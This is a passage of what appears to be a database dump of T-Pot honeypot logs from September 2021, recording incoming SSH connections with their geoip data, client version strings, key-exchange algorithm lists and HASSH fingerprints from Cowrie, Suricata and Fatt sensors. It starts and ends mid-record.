"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27561	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:55.230098+03	2021-09-20 14:15:14.744646+03	{"_id": "ewbqAnwBvYTbRNuEgijr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:45050 (192.168.176.2:22) [session: 8d7d10270092]", "session": "8d7d10270092", "@version": "1", "protocol": "ssh", "src_port": 45050, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.230098Z", "@timestamp": "2021-09-20T11:14:55.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27562	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:55.25063+03	2021-09-20 14:15:14.746646+03	{"_id": "fAbqAnwBvYTbRNuEgijr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43126 (192.168.176.2:22) [session: 532f6492e2bc]", "session": "532f6492e2bc", "@version": "1", "protocol": "ssh", "src_port": 43126, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.250630Z", "@timestamp": "2021-09-20T11:14:55.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27563	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:55.539692+03	2021-09-20 14:15:14.747646+03	{"_id": "fQbqAnwBvYTbRNuEgijr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:52166 (192.168.176.2:22) [session: 55f7e1f1d9b7]", "session": "55f7e1f1d9b7", "@version": "1", "protocol": "ssh", "src_port": 52166, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.539692Z", "@timestamp": "2021-09-20T11:14:55.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27564	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:55.233092+03	2021-09-20 14:15:14.748646+03	{"_id": "kwbqAnwBvYTbRNuEgijr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8d7d10270092", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:55.233092Z", "@timestamp": "2021-09-20T11:14:55.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27565	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:55.253629+03	2021-09-20 14:15:14.749646+03	{"_id": "lAbqAnwBvYTbRNuEgijr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "532f6492e2bc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:55.253629Z", "@timestamp": "2021-09-20T11:14:55.253Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27566	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:55.531973+03	2021-09-20 14:15:14.750645+03	{"_id": "lQbqAnwBvYTbRNuEgijr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "532f6492e2bc", "@version": "1", "timestamp": "2021-09-20T11:14:55.531973Z", "@timestamp": "2021-09-20T11:14:55.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27567	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:55.540381+03	2021-09-20 14:15:14.752647+03	{"_id": "lgbqAnwBvYTbRNuEgijr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "55f7e1f1d9b7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:55.540381Z", "@timestamp": "2021-09-20T11:14:55.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27568	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:14:55.530991+03	2021-09-20 14:15:14.753646+03	{"_id": "mQbqAnwBvYTbRNuEhCjT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 41214190472448, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43126, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.530991Z", "@timestamp": "2021-09-20T11:14:55.530Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27569	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:55.801868+03	2021-09-20 14:15:14.754646+03	{"_id": "nwbqAnwBvYTbRNuEhigN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33910, "timestamp": "2021-09-20T11:14:55.801868", "@timestamp": "2021-09-20T11:14:55.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27575	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:15:01.461251+03	2021-09-20 14:30:01.644553+03	{"_id": "-gbqAnwBvYTbRNuEmihY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d826ca65fb0f", "@version": "1", "timestamp": "2021-09-20T11:15:01.461251Z", "@timestamp": "2021-09-20T11:15:01.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27570	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:55.540887+03	2021-09-20 14:15:14.755646+03	{"_id": "nAbqAnwBvYTbRNuEhigN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52166, "timestamp": "2021-09-20T11:14:55.540887", "@timestamp": "2021-09-20T11:14:55.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27571	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:14:56.899206+03	2021-09-20 14:15:14.756646+03	{"_id": "tAbqAnwBvYTbRNuEiCi8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1202513217825596, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49772, "dest_port": 22, "timestamp": "2021-09-20T11:14:56.899206Z", "@timestamp": "2021-09-20T11:14:56.899Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27572	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:14:56.67892+03	2021-09-20 14:15:14.757646+03	{"_id": "twbqAnwBvYTbRNuEiSj2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36948, "dest_port": 22, "timestamp": "2021-09-20T11:14:56.678920", "@timestamp": "2021-09-20T11:14:56.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27573	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:01.190086+03	2021-09-20 14:30:01.640524+03	{"_id": "7wbqAnwBvYTbRNuEmSiX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 